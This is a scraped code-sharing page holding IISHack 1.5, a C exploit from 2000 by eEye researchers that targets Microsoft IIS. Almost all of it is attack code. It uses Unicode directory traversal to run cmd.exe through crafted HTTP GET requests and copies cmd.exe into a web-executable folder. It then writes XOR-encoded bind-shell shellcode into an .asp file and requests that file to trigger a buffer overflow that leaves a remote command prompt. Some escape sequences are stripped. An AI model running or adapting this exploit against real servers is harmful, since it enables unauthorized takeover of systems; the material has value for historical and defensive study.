IISHack1.5.c
上传用户:sztony118
上传日期:2007-01-08
资源大小:9k
文件大小:15k
- /*
- 11/02/00
- IISHack Version 1.5 (unicode path traverse + .asp overflow exploit)
- Theory, Flaw, Exploit: Ryan Permeh and Marc Maiffret
- eEye Digital Security
- http://www.eEye.com
- We do not have anything really cool to say except for happy b-day to ourselves
- Ryan (turned 24 on 11/1) and Marc (turning 20 on 11/28). Later.
- */
- //Don't forget to link with wsock32.lib :-o
- #include <windows.h>
- #include <stdio.h>
- //GLOBAL EXPLOIT DEFINES
- #define UNISTRING "%c0%af"
- //Our exploit functions
- long iplookup(char *rhost);
- void FindExeDir(char *host, u_short port);
- char *GetData(int SockFD);
- void MoveCmd(char *host, u_short port);
- void SendExploit(char *host, u_short port, u_short tport, char *shellcode);
- char *build_shellcode(struct in_addr host, WORD port);
- //This changes if the code size changes, search for dword 0x55555555
- //this denotes the beginning of the data in the shellcode
- #define DT_OFF 367 // offset of start of data
- //These stay the same if the included data doesn't change
- #define GP_OFF 4+DT_OFF //offset from data of GetProcAddress in code
- #define LL_OFF 8+DT_OFF //offset from data of LoadLibraryA in shellcode
- #define IP_OFF 209+DT_OFF //Offset from data of IP struct in code
- #define PT_OFF 207+DT_OFF //Offset from data of port in code
- //#define NOPS 2196 we have seen this buffer filler work and the next one.
- //2200 worked on a stock install, with sp6, so we will go with that
- //just adjust the nops as you see fit
- #define NOPS 2196
- #define XOR_VAL2 0x8585 //xor the shellcode to take care of nulls and char's IIS doesnt like
- #define XOR_VAL4 0x85858585
- #define DEFAULT_PORT 2323 //Default port for trojan to listen on
- //NT4SP6
- #define DEFAULT_GP_ADDR 0x77f13fb3 //Address of GetProcAddress
- #define DEFAULT_LL_ADDR 0x77f137bd //Address of LoadLibraryA
- //nt5
- //#define DEFAULT_GP_ADDR 0x77E87031 //Address of GetProcAddress
- //#define DEFAULT_LL_ADDR 0x77E87273 //Address of LoadLibraryA
- //Global exploit information buffers
- char *localpath;
- char *exedir;
- int main(int argc, char **argv)
- {
- WSADATA wsaData;
- u_short sport;
- struct in_addr host;
- char *sp10it;
- u_short tport;
- printf("IISHack Version 1.5neEye Digital Securitynhttp://www.eEye.comnCode By: Ryan Permeh & Marc MaiffretneEye Digital Security takes no responsibility for use of this code.nIt is for educational purposes only.nn");
- if(argc < 4)
- {
- printf("Usage: IISHack1.5 [server] [server-port] [trojan-port]n");
- exit(1);
- }
- sport=atoi(argv[2]);
- tport=atoi(argv[3]);
- host.S_un.S_addr = inet_addr(argv[1]);
- WSAStartup(0x202, &wsaData );
-
- //make our shellcode
- sp10it = build_shellcode(host,tport);
- //Find an IIS directory with execute permissions
- FindExeDir(argv[1],sport);
- printf("Executable directory found. [%s]n", exedir);
- printf("Path to executable directory is [%s]n",localpath);
- //Move and rename cmd.exe from winntsystem32 to our executable directory as eeyehack.exe
- MoveCmd(argv[1],sport);
- //Send our exploit and own the server
- SendExploit(argv[1],sport,tport,sp10it);
- WSACleanup();
- return 0;
- }
- void SendExploit(char *host, u_short port, u_short tport, char *shellcode)
- {
- //localpath\eeyehack.exe
- //This function moves cmd.exe from winntsystem32 to the found executable directory
- int SockFD,i;
- struct sockaddr_in DstSAin;
- char waste[5000],uniwaste[500];
- char space[3];
- char *buffer;
-
- printf("Sending the exploit...n");
- memset(uniwaste,0,499);
- for(i=0;i<8;i++)
- {
- strcat(uniwaste,"..");
- strcat(uniwaste,UNISTRING); //Create our drop back url string
- }
- memset(space,0,3);
- strcpy(space,"%20");
- memset(waste,0,5000);
- //Create our request buffer that sends cmd.exe (now eeyehack.exe) /c echo ourshellcode > [executable dir]eeyerulez.asp
- sprintf(waste,"GET /%s/%s/%s/eeyehack.exe?/c%secho%s%s%s>%s%s\eeyerulez.asp HTTP/1.0nn",exedir,uniwaste,localpath+3,space,space,shellcode,space,space,localpath);
- SockFD=socket(AF_INET,SOCK_STREAM,0);
- DstSAin.sin_family = AF_INET;
- DstSAin.sin_port = htons(port);
- DstSAin.sin_addr.s_addr=iplookup(host);
- if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
- {
- send(SockFD,waste,strlen(waste),0); //send the echo command and shellcode
- }
- closesocket(SockFD);
- //Now request the .asp file and cause the overflow
- SockFD=socket(AF_INET,SOCK_STREAM,0);
- DstSAin.sin_family = AF_INET;
- DstSAin.sin_port = htons(port);
- DstSAin.sin_addr.s_addr=iplookup(host);
- if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
- {
- memset(waste,0,5000);
- sprintf(waste,"GET /%s/eeyerulez.asp HTTP/1.0nn",exedir);
- //Request eeyerulez.asp from the remote server
- //IIS then tries to process our .asp file and when it reads in the script language buffer it overflows and executes our code
- send(SockFD,waste,strlen(waste),0);
- buffer=GetData(SockFD);
- if(strlen(buffer)==0)
- //If we do not get any data back from the server (server crashes) then our exploit probably worked
- printf("Exploit sent! Now telnet to %s on port %i and you should get a cmd prompt.n", host, tport);
- else
- //If we do get data back from the server then they are probably patched
- printf("Exploit failed.n");
- }
- }
- void MoveCmd(char *host, u_short port)
- {
- //This function moves cmd.exe from winntsystem32 to the found executable directory
- int SockFD,i;
- struct sockaddr_in DstSAin;
- char waste[500],uniwaste[500];
- char space[3];
- char dletter[2];
- char *buffer;
- char *p;
- memset(uniwaste,0,499);
- for(i=0;i<8;i++)
- {
- strcat(uniwaste,"..");
- strcat(uniwaste,UNISTRING); //create drop back url
- }
- strncpy(dletter,localpath,1);
- dletter[1]=' ';
- memset(space,0,3);
- strcpy(space,"%20");
- printf("Moving cmd.exe from winnt\system32 to %s.n", localpath);
- memset(waste,0,500);
- //create string that causes cmd.exe to copy itself to our iis executable directory, also rename it so its > friendly.
- sprintf(waste,"GET /%s/%s/winnt/system32/cmd.exe?/c%scopy%s%s:\winnt\system32\cmd.exe%s%s\eeyehack.exe HTTP/1.0nn",exedir,uniwaste,space,space,dletter,space,localpath);
- SockFD=socket(AF_INET,SOCK_STREAM,0);
- DstSAin.sin_family = AF_INET;
- DstSAin.sin_port = htons(port);
- DstSAin.sin_addr.s_addr=iplookup(host);
- if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
- {
- send(SockFD,waste,strlen(waste),0); //send the rename/move command
- buffer=GetData(SockFD);
- p=strstr(buffer,"1 file(s) copied."); //if buffer has this then we copied the file correctly.
- if(p!=NULL)
- {
- printf("Succesfully moved cmd.exe to %s\eeyehack.exe", localpath);
- closesocket(SockFD);
- return;
- }
- }
- printf("Failed to move and rename cmd.exe. Server probably not vulnerable.n");
- closesocket(SockFD);
- exit(1);
- }
- void FindExeDir(char *host, u_short port)
- {
- int SockFD,i;
- struct sockaddr_in DstSAin;
- //add more directories if you like but make sure to change the for() loop accordingly.
- char *ExeDirs[5]={"scripts","IISADMPWD","msadc","cgi-bin","_vti_bin"};
- char waste[500],uniwaste[500];
- char *buffer,*p;
- char space[3];
- int rbytes=0,loc1=0,loc2=0;
- char locdir[300];
-
- memset(locdir,0,300);
- memset(uniwaste,0,499);
- memset(space,0,3);
- strcpy(space,"%20");
- printf("Attempting to find an executable directory...n");
- for(i=0;i<8;i++)
- {
- strcat(uniwaste,"..");
- strcat(uniwaste,UNISTRING); //create drop back url string
- }
- for(i=0;i<4;i++)
- {
- memset(waste,0,500);
- //create our string that sees if we can execute cmd.exe
- //that way we know if a directory is executable and if the exe dir is on the same harddrive as cmd.exe
- sprintf(waste,"GET /%s/%s/winnt/system32/cmd.exe?/c%sdir HTTP/1.0nn",ExeDirs[i],uniwaste,space);
- SockFD=socket(AF_INET,SOCK_STREAM,0);
- DstSAin.sin_family = AF_INET;
- DstSAin.sin_port = htons(port);
- DstSAin.sin_addr.s_addr=iplookup(host);
- if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
- {
- printf("Trying directory [%s]n", ExeDirs[i]);
- send(SockFD,waste,strlen(waste),0); //try one of the directories
- buffer=GetData(SockFD);
- p=strstr(buffer,"Directory of"); //we found an executable directory on the same drive as cmd.exe!!!
- if(p!=NULL)
- {
- loc1=p-buffer+1;
- p=strstr(buffer,"<DIR>");
- if(p!=NULL)
- {
- //do a bunch of crap to move the executable directory name into a global buffer
- //and to also grab the remote servers local path to that executable directory
- loc2=p-buffer+1;
- loc2=loc2-27;
- buffer[loc2-2]=' ';
- strncpy(locdir,buffer+loc1+12,290);
- //Set executable directory.
- exedir=malloc(strlen(ExeDirs[i])+1);
- memset(exedir,0,strlen(ExeDirs[i])+1);
- memcpy(exedir,ExeDirs[i],strlen(ExeDirs[i]));
- //Set executable directory path
- localpath=malloc(strlen(locdir)+1);
- memset(localpath,0,strlen(locdir)+1);
- memcpy(localpath,locdir,strlen(locdir));
- closesocket(SockFD);
- return;
- }
- }
- }
- //looks like the server might not be vulnerable, you might want to tweak code though
- printf("Could not find an executable directory or your unicode code is incorrect or the server is patched.n");
- closesocket(SockFD);
- }
- exit(1);
- }
- //lookup an ip wheeeeee
- long iplookup(char *rhost)
- {
- long rip;
- struct hostent *hp;
- if ((rip=inet_addr(rhost))==-1)
- {
- if ((hp=gethostbyname(rhost))==NULL)
- {
- printf("Failed to resolve host.n");
- exit(1);
- }
- memcpy(&rip, (hp->h_addr), 4);
- }
- return rip;
- }
- char *GetData(int SockFD)
- {
- //get data without a blocking recv so we dont hang if we crash the server
- char *buffer;
- char data[2001];
- unsigned long on=1;
- unsigned long off=0;
- char waste[2001];
- int p, i=1;
- int t;
- memset(data,0,2001);
- p=ioctlsocket(SockFD,FIONBIO,&on);
- memset(waste,0,2001);
- for(t=1;t<10;t++){
- i=recv(SockFD, waste, 2000, 0);
- if(i>0)
- break;
- Sleep(500);
- }
- waste[i]=' ';
- strncat(data,waste,2000);
- buffer = ( char * )malloc( 2000 * sizeof( char ) );
- strncpy( buffer, data, 2000 );
- return buffer;
- }
- char * build_shellcode(struct in_addr host, WORD port )
- {
- //Special thanks (as any win32 overflow should have) go to Barnaby Jack, Greg Hoglund, and Dildog.
- DWORD gp_addr=DEFAULT_GP_ADDR;
- DWORD ll_addr=DEFAULT_LL_ADDR;
- unsigned char shellcodex[589] =
- "x50x5dx8bxc5x83xc0x13x33xc9x66xb9x39x02x80x30x85x40xe2xfax6dx85x85"
- "x85x85xdax0ex69x04x69x3dx8ex85x85xc2x06xbax7axf0x7fx06x42x81x0ex70"
- "xb6x4cx3cx87x85x85x85x0ex82x0cx83x06x43x81x06x42x81x67x71x06x42x81"
- "x05xbax85xf1xb4x08x82xd5x7axd0x81x06x7dx85xf1xb3x0ex55x3cx95xa2x85"
- "x85xb6x45x77x2bx05xbax85xf1x96xd7xd2xd7x7axd0x85xdfx06x7dx85xf1x9f"
- "x0cx83x06x43x81x6ex61xc2x6ex4fxb6x45x77x2bx05xbax85xf1x82x0cxbbx06"
- "x43x81x6ex75xc2x0cxbbx06x43x8dxb6x45xd5xc5xd5xc5xd5x7axd0xc1x16xef"
- "x95x7axf0xc9xd6x7axd0xb1xefx87xd6x7axd0xbdxb6x45xd2xd5x35x89x2exdd"
- "x2exc5x2exdaxcdxd5xd2xd3x28xd3x7axd0x89xcdxd5xd2x28xd3x28xd3x7axd0"
- "x89xcdx35xc1x0cx82xd2x7axd0x9dxb6x45x0exc0xd1x0cxc2xb9x0cxc2xc5x0e"
- "xc0xe5x0cxc2xbdx3dx84x84x85x85x0cxc2xa9xd2xd2xb6x45xd5xd5xd5xc5xd5"
- "xcdxd5xd5x7axf0xcdxd5x7axd0x95xcdxd5xd5xd6x7axd0xb5x0ex5dxb6x45x31"
- "x81xd5x44x6dx81xd5x7axd0x99x0ex75x15xb6x45x0ex4dx30x81xd5xd5xd2xd4"
- "xd5x7axf0xddx7axd0xa5x06xbax84xf9xa7xb6x45xd5xd2x7axb2xd3x7axf0xdd"
- "x7axd0xa1x8ex45xf1xaaxb6x45xd5x7axb2xd3xd6x7axd0xc5xefxd5x7axd0xad"
- "x6ex42xb6x45xd5x31x81xd5xd3xd6x7axd0xb9xd2xb6x4cxd4xd5xd3x7axf0xd9"
- "x7axd0xa9xefxd5x7axd0xadx6ex2cxd5x7axd0x91x46x7ax7ax7ax7ax36xbax74"
- "xf2x38xb2x74xf2x85x85x85x85xeexe0xf7xebxe0xe9xb6xb7xabxe1xe9xe9x85"
- "xc6xe9xeaxf6xe0xcdxe4xebxe1xe9xe0x85xc6xf7xe0xe4xf1xe0xd5xecxf5xe0"
- "x85xc6xf7xe0xe4xf1xe0xd5xf7xeaxe6xe0xf6xf6xc4x85xc0xfdxecxf1xd5xf7"
- "xeaxe6xe0xf6xf6x85xc2xe0xf1xd6xf1xe4xf7xf1xf0xf5xccxebxe3xeaxc4x85"
- "xc2xe9xeaxe7xe4xe9xc4xe9xe9xeaxe6x85xd5xe0xe0xeexcbxe4xe8xe0xe1xd5"
- "xecxf5xe0x85xd7xe0xe4xe1xc3xecxe9xe0x85xd6xe9xe0xe0xf5x85xd2xf7xec"
- "xf1xe0xc3xecxe9xe0x85x85xf2xf6xb7xdaxb6xb7xabxe1xe9xe9x85xe4xe6xe6"
- "xe0xf5xf1x85xe7xecxebxe1x85xe9xecxf6xf1xe0xebx85xf7xe0xe6xf3x85xf6"
- "xe0xebxe1x85xf6xeaxe6xeexe0xf1x85x85x85xe6xe8xe1xabxe0xfdxe0x85x85"
- "x87x85x9exbdx85x85x85x85x85x85x85x85x85x85x85x85";
- // ^^^^---shellcode that binds cmd.exe to a port
- char shellcode[1770];
- //The first part of the .asp file, the <SCRIPT LANGUAGE="'s section.
- //we had to tweak it up for cmd.exe to echo it correctly to a file.
- char *head="^<SCRIPT%20LANGUAGE%3d"";
- //ending part of the .asp file...
- char *tail=""%20RUNAT%3d"Server"^>%20^</SCRIPT^>";
- char *nops=malloc(NOPS+1);
- //overwrite EIP with a jmp eax (FF E0) so that we jump back to our code.
- //this jmp eax is from a sp6 systems ole32.dll
- //so therefore it might not be correct depending on a systems sp's etc..
- //didnt want to take the time to find a more static dll with a jmp eax.
- unsigned char eip[]="xF0xd7xbcx77";
- char *final=malloc(3000);
- // FILE *bob;
- char pct='%';
- char *scp;
- memset(shellcode,0,1770);
- memset(nops,0,NOPS+1);
- memset(nops,0x90,NOPS);
- gp_addr = gp_addr ^ XOR_VAL4;
- ll_addr = ll_addr ^ XOR_VAL4;
- port = htons(port) ^ XOR_VAL2;
- memcpy(shellcodex+GP_OFF,&gp_addr,4);
- memcpy(shellcodex+LL_OFF,&ll_addr,4);
- memcpy(shellcodex+PT_OFF,&port,2);
- scp = shellcodex;
- //use a pointer to walk our shellcode
- //and convert "bad bytes" to HTTP %hh format
- while(*scp != 0x00)
- {
- //shellcode cannot have 0x2b .. the + sign
- if (*scp == 0x2b) _snprintf(shellcode,1770,"%s%c2b",shellcode,pct);
- //shellcode cannot have 0x3c .. the < sign
- else if (*scp == 0x3c) _snprintf(shellcode,1770,"%s%c3c",shellcode,pct);
- //shellcode cannot have 0x3d .. the = sign
- else if (*scp == 0x3d) _snprintf(shellcode,1770,"%s%c3d",shellcode,pct);
- //shellcode cannot have 0x3e .. the > sign
- else if (*scp == 0x3e) _snprintf(shellcode,1770,"%s%c3e",shellcode,pct);
- //shellcode must convert characters 0x01 through 0x20 to HTTP %hh
- else if (*scp >= 0x01 && *scp <= 0x20) _snprintf(shellcode,1770,"%s%c%02x",shellcode,pct,(BYTE)*scp);
- else _snprintf(shellcode,5000,"%s%c",shellcode,*scp);
- scp++;
- }
- _snprintf(final,3000,"%s%s%s%s%s",head,nops,eip,shellcode,tail);
- return final;
- }